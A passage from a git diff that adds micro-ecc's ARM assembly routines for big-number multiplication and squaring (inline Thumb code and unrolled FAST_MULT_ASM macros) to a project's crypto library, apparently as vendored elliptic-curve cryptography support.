3f \n\t" + + "2: \n\t" /* outer loop (k >= num_words) */ + "movs %[r6], %[r5] \n\t" /* r6 = k */ + "mov %[r0], r8 \n\t" /* r0 = (num_words - 1) * 4 */ + "subs %[r6], %[r0] \n\t" /* r6 = i = k - (num_words - 1) (times 4) */ + + "3: \n\t" /* inner loop */ + "push {%[r2], %[r3], %[r4], %[r5]} \n\t" /* push things, r2 (c0) is at the top of stack. */ + "subs %[r7], %[r5], %[r6] \n\t" /* r7 = k - i */ + + "ldr %[r3], [%[r1], %[r7]] \n\t" /* r3 = left[k - i] */ + "ldr %[r0], [%[r1], %[r6]] \n\t" /* r0 = left[i] */ + + "lsrs %[r2], %[r0], #16 \n\t" /* r2 = a1 */ + "uxth %[r0], %[r0] \n\t" /* r0 = a0 */ + + "lsrs %[r4], %[r3], #16 \n\t" /* r4 = b1 */ + "uxth %[r3], %[r3] \n\t" /* r3 = b0 */ + + "movs %[r5], %[r2] \n\t" /* r5 = a1 */ + "muls %[r5], %[r4], %[r5] \n\t" /* r5 = a1 * b1 */ + "muls %[r2], %[r3], %[r2] \n\t" /* r2 = b0 * a1 */ + "muls %[r4], %[r0], %[r4] \n\t" /* r4 = a0 * b1 */ + "muls %[r0], %[r3], %[r0] \n\t" /* r0 = a0 * b0 */ + + "movs %[r3], #0 \n\t" /* r3 = 0 */ + "adds %[r2], %[r4] \n\t" /* r2 = b0 * a1 + a0 * b1 */ + "adcs %[r3], %[r3] \n\t" /* r3 = carry */ + "lsls %[r3], #16 \n\t" /* r3 = carry << 16 */ + "adds %[r5], %[r3] \n\t" /* r5 = a1 * b1 + carry */ + + "lsls %[r3], %[r2], #16 \n\t" /* r3 = (b0 * a1 + a0 * b1) << 16 */ + "lsrs %[r2], #16 \n\t" /* r2 = (b0 * a1 + a0 * b1) >> 16 */ + "adds %[r0], %[r3] \n\t" /* r0 = low word = a0 * b0 + ((b0 * a1 + a0 * b1) << 16) */ + "adcs %[r5], %[r2] \n\t" /* r5 = high word = + a1 * b1 + carry + ((b0 * a1 + a0 * b1) >> 16) */ + + "movs %[r3], #0 \n\t" /* r3 = 0 */ + "cmp %[r6], %[r7] \n\t" /* (i < k - i) ? */ + "mov %[r7], %[r3] \n\t" /* r7 = 0 (does not affect condition) */ + "bge 4f \n\t" /* if i >= k - i, skip */ + "lsls %[r5], #1 \n\t" /* high word << 1 */ + "adcs %[r7], %[r3] \n\t" /* r7 = carry bit for c2 */ + "lsls %[r0], #1 \n\t" /* low word << 1 */ + "adcs %[r5], %[r3] \n\t" /* add carry from shift to high word */ + + "4: \n\t" + "pop {%[r2], %[r3], %[r4]} \n\t" /* r2 = c0, r3 = c1, r4 = c2 */ + "adds %[r2], %[r0] \n\t" /* add low word to c0 */ + "adcs %[r3], %[r5] \n\t" /* add high word to c1, including carry */ + "movs %[r0], #0 \n\t" /* r0 = 0 (does not affect carry bit) */ + "adcs %[r4], %[r0] \n\t" /* add carry to c2 */ + "adds %[r4], %[r7] \n\t" /* add carry from doubling (if any) */ + + "pop {%[r5]} \n\t" /* r5 = k */ + + "adds %[r6], #4 \n\t" /* i += 4 */ + "cmp %[r6], %[r5] \n\t" /* i >= k? */ + "bge 5f \n\t" /* if so, exit the loop */ + "subs %[r7], %[r5], %[r6] \n\t" /* r7 = k - i */ + "cmp %[r6], %[r7] \n\t" /* i <= k - i? */ + "ble 3b \n\t" /* if so, continue looping */ + + "5: \n\t" /* end inner loop */ + + "ldr %[r0], [sp, #0] \n\t" /* r0 = result */ + + "str %[r2], [%[r0], %[r5]] \n\t" /* result[k] = c0 */ + "mov %[r2], %[r3] \n\t" /* c0 = c1 */ + "mov %[r3], %[r4] \n\t" /* c1 = c2 */ + "movs %[r4], #0 \n\t" /* c2 = 0 */ + "adds %[r5], #4 \n\t" /* k += 4 */ + "cmp %[r5], r8 \n\t" /* k <= (num_words - 1) (times 4) ? */ + "ble 1b \n\t" /* if so, loop back, start with i = 0 */ + "cmp %[r5], r9 \n\t" /* k <= (num_words * 2 - 2) (times 4) ? */ + "ble 2b \n\t" /* if so, loop back, with i = (k + 1) - num_words */ + /* end outer loop */ + + "str %[r2], [%[r0], %[r5]] \n\t" /* result[num_words * 2 - 1] = c0 */ + "pop {%[r0]} \n\t" /* pop result off the stack */ + + ".syntax divided \n\t" + : [r2] "+l" (num_words), [r3] "=&l" (r3), [r4] "=&l" (r4), + [r5] "=&l" (r5), [r6] "=&l" (r6), [r7] "=&l" (r7) + : [r0] "l" (result), [r1] "l" (left) + : "r8", "r9", "cc", "memory" + ); +#endif +} +#define asm_square 1 +#endif +#endif /* uECC_SQUARE_FUNC */ + +#endif /* _UECC_ASM_ARM_H_ */ diff --git a/client/libs/crypto/micro-ecc/asm_arm_mult_square.inc b/client/libs/crypto/micro-ecc/asm_arm_mult_square.inc new file mode 100644 index 0000000..9decef6 --- /dev/null +++ b/client/libs/crypto/micro-ecc/asm_arm_mult_square.inc @@ -0,0 +1,1808 @@ +/* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */ + +#ifndef _UECC_ASM_ARM_MULT_SQUARE_H_ +#define _UECC_ASM_ARM_MULT_SQUARE_H_ + +#define FAST_MULT_ASM_5 \ + "add r0, 12 \n\t" \ + "add r2, 12 \n\t" \ + "ldmia r1!, {r3,r4} \n\t" \ + "ldmia r2!, {r6,r7} \n\t" \ + \ + "umull r11, r12, r3, r6 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r11, r9, r3, r7 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r14, r4, r6 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "umull r12, r14, r4, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adc r10, r10, r14 \n\t" \ + "stmia r0!, {r9, r10} \n\t" \ + \ + "sub r0, 28 \n\t" \ + "sub r2, 20 \n\t" \ + "ldmia r2!, {r6,r7,r8} \n\t" \ + "ldmia r1!, {r5} \n\t" \ + \ + "umull r11, r12, r3, r6 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r11, r9, r3, r7 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r14, r4, r6 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r3, r8 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r4, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r5, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "ldmia r1!, {r3} \n\t" \ + "mov r12, #0 \n\t" \ + "umull r14, r9, r4, r8 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r5, r7 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r3, r6 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "ldmia r1!, {r4} \n\t" \ + "mov r14, #0 \n\t" \ + "umull r9, r10, r5, r8 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r3, r7 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r4, r6 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "ldr r9, [r0] \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, #0 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "ldmia r2!, {r6} \n\t" \ + "mov r9, #0 \n\t" \ + "umull r10, r11, r5, r6 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r3, r8 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r4, r7 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "ldr r10, [r0] \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, #0 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "ldmia r2!, {r7} \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r3, r6 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "ldr r11, [r0] \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r14} \n\t" \ + \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r3, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r4, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "umull r14, r9, r4, r7 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adc r11, r11, r9 \n\t" \ + "stmia r0!, {r10, r11} \n\t" + +#define FAST_MULT_ASM_6 \ + "add r0, 12 \n\t" \ + "add r2, 12 \n\t" \ + "ldmia r1!, {r3,r4,r5} \n\t" \ + "ldmia r2!, {r6,r7,r8} \n\t" \ + \ + "umull r11, r12, r3, r6 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r11, r9, r3, r7 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r14, r4, r6 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r3, r8 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r4, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r5, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r14, r9, r4, r8 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r5, r7 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "umull r9, r10, r5, r8 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adc r12, r12, r10 \n\t" \ + "stmia r0!, {r11, r12} \n\t" \ + \ + "sub r0, 36 \n\t" \ + "sub r2, 24 \n\t" \ + "ldmia r2!, {r6,r7,r8} \n\t" \ + \ + "umull r11, r12, r3, r6 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "mov r10, #0 \n\t" \ + "umull r11, r9, r3, r7 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r11, r14, r4, r6 \n\t" \ + "adds r12, r12, r11 \n\t" \ + "adcs r9, r9, r14 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r3, r8 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r4, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r5, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "ldmia r1!, {r3} \n\t" \ + "mov r12, #0 \n\t" \ + "umull r14, r9, r4, r8 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r5, r7 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r3, r6 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "ldmia r1!, {r4} \n\t" \ + "mov r14, #0 \n\t" \ + "umull r9, r10, r5, r8 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r3, r7 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r4, r6 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "ldr r9, [r0] \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, #0 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "ldmia r1!, {r5} \n\t" \ + "mov r9, #0 \n\t" \ + "umull r10, r11, r3, r8 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r4, r7 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r5, r6 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "ldr r10, [r0] \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, #0 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "ldmia r2!, {r6} \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r3, r6 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "ldr r11, [r0] \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r14} \n\t" \ + \ + "ldmia r2!, {r7} \n\t" \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r3, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r4, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r5, r8 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "ldr r12, [r0] \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "ldmia r2!, {r8} \n\t" \ + "mov r12, #0 \n\t" \ + "umull r14, r9, r3, r8 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r4, r7 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r5, r6 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "mov r14, #0 \n\t" \ + "umull r9, r10, r4, r8 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r5, r7 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "umull r10, r11, r5, r8 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adc r14, r14, r11 \n\t" \ + "stmia r0!, {r12, r14} \n\t" + +#define FAST_MULT_ASM_7 \ + "add r0, 24 \n\t" \ + "add r2, 24 \n\t" \ + "ldmia r1!, {r3} \n\t" \ + "ldmia r2!, {r6} \n\t" \ + \ + "umull r9, r10, r3, r6 \n\t" \ + "stmia r0!, {r9, r10} \n\t" \ + \ + "sub r0, 20 \n\t" \ + "sub r2, 16 \n\t" \ + "ldmia r2!, {r6, r7, r8} \n\t" \ + "ldmia r1!, {r4, r5} \n\t" \ + \ + "umull r9, r10, r3, r6 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "mov r14, #0 \n\t" \ + "umull r9, r12, r3, r7 \n\t" \ + "adds r10, r10, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r9, r11, r4, r6 \n\t" \ + "adds r10, r10, r9 \n\t" \ + "adcs r12, r12, r11 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "mov r9, #0 \n\t" \ + "umull r10, r11, r3, r8 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r4, r7 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r5, r6 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "ldmia r1!, {r3} \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r3, r6 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "ldr r11, [r0] \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r14} \n\t" \ + \ + "ldmia r2!, {r6} \n\t" \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r4, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r5, r8 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r3, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "ldr r12, [r0] \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "mov r12, #0 \n\t" \ + "umull r14, r9, r5, r6 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r3, r8 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "umull r9, r10, r3, r6 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adc r12, r12, r10 \n\t" \ + "stmia r0!, {r11, r12} \n\t" \ + \ + "sub r0, 44 \n\t" \ + "sub r1, 16 \n\t" \ + "sub r2, 28 \n\t" \ + "ldmia r1!, {r3,r4,r5} \n\t" \ + "ldmia r2!, {r6,r7,r8} \n\t" \ + \ + "umull r9, r10, r3, r6 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "mov r14, #0 \n\t" \ + "umull r9, r12, r3, r7 \n\t" \ + "adds r10, r10, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r9, r11, r4, r6 \n\t" \ + "adds r10, r10, r9 \n\t" \ + "adcs r12, r12, r11 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "mov r9, #0 \n\t" \ + "umull r10, r11, r3, r8 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r4, r7 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r5, r6 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "ldmia r1!, {r3} \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r4, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r5, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r3, r6 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "ldr r11, [r0] \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r14} \n\t" \ + \ + "ldmia r1!, {r4} \n\t" \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r5, r8 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r3, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r4, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "ldr r12, [r0] \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "ldmia r1!, {r5} \n\t" \ + "mov r12, #0 \n\t" \ + "umull r14, r9, r3, r8 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r4, r7 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "umull r14, r9, r5, r6 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "ldr r14, [r0] \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, #0 \n\t" \ + "adc r12, r12, #0 \n\t" \ + "stmia r0!, {r10} \n\t" \ + \ + "ldmia r1!, {r3} \n\t" \ + "mov r14, #0 \n\t" \ + "umull r9, r10, r4, r8 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r5, r7 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "umull r9, r10, r3, r6 \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, r10 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "ldr r9, [r0] \n\t" \ + "adds r11, r11, r9 \n\t" \ + "adcs r12, r12, #0 \n\t" \ + "adc r14, r14, #0 \n\t" \ + "stmia r0!, {r11} \n\t" \ + \ + "ldmia r2!, {r6} \n\t" \ + "mov r9, #0 \n\t" \ + "umull r10, r11, r4, r6 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r5, r8 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "umull r10, r11, r3, r7 \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, r11 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "ldr r10, [r0] \n\t" \ + "adds r12, r12, r10 \n\t" \ + "adcs r14, r14, #0 \n\t" \ + "adc r9, r9, #0 \n\t" \ + "stmia r0!, {r12} \n\t" \ + \ + "ldmia r2!, {r7} \n\t" \ + "mov r10, #0 \n\t" \ + "umull r11, r12, r4, r7 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r5, r6 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "umull r11, r12, r3, r8 \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, r12 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "ldr r11, [r0] \n\t" \ + "adds r14, r14, r11 \n\t" \ + "adcs r9, r9, #0 \n\t" \ + "adc r10, r10, #0 \n\t" \ + "stmia r0!, {r14} \n\t" \ + \ + "ldmia r2!, {r8} \n\t" \ + "mov r11, #0 \n\t" \ + "umull r12, r14, r4, r8 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r5, r7 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "umull r12, r14, r3, r6 \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, r14 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "ldr r12, [r0] \n\t" \ + "adds r9, r9, r12 \n\t" \ + "adcs r10, r10, #0 \n\t" \ + "adc r11, r11, #0 \n\t" \ + "stmia r0!, {r9} \n\t" \ + \ + "ldmia r2!, {r6} \n\t" \ + "mov r12, #0 \n\t" \ + "umull r14, r9, r4, r6 \n\t" \ + "adds r10, r10, r14 \n\t" \ + "adcs r11, r11, r9 \n\t" 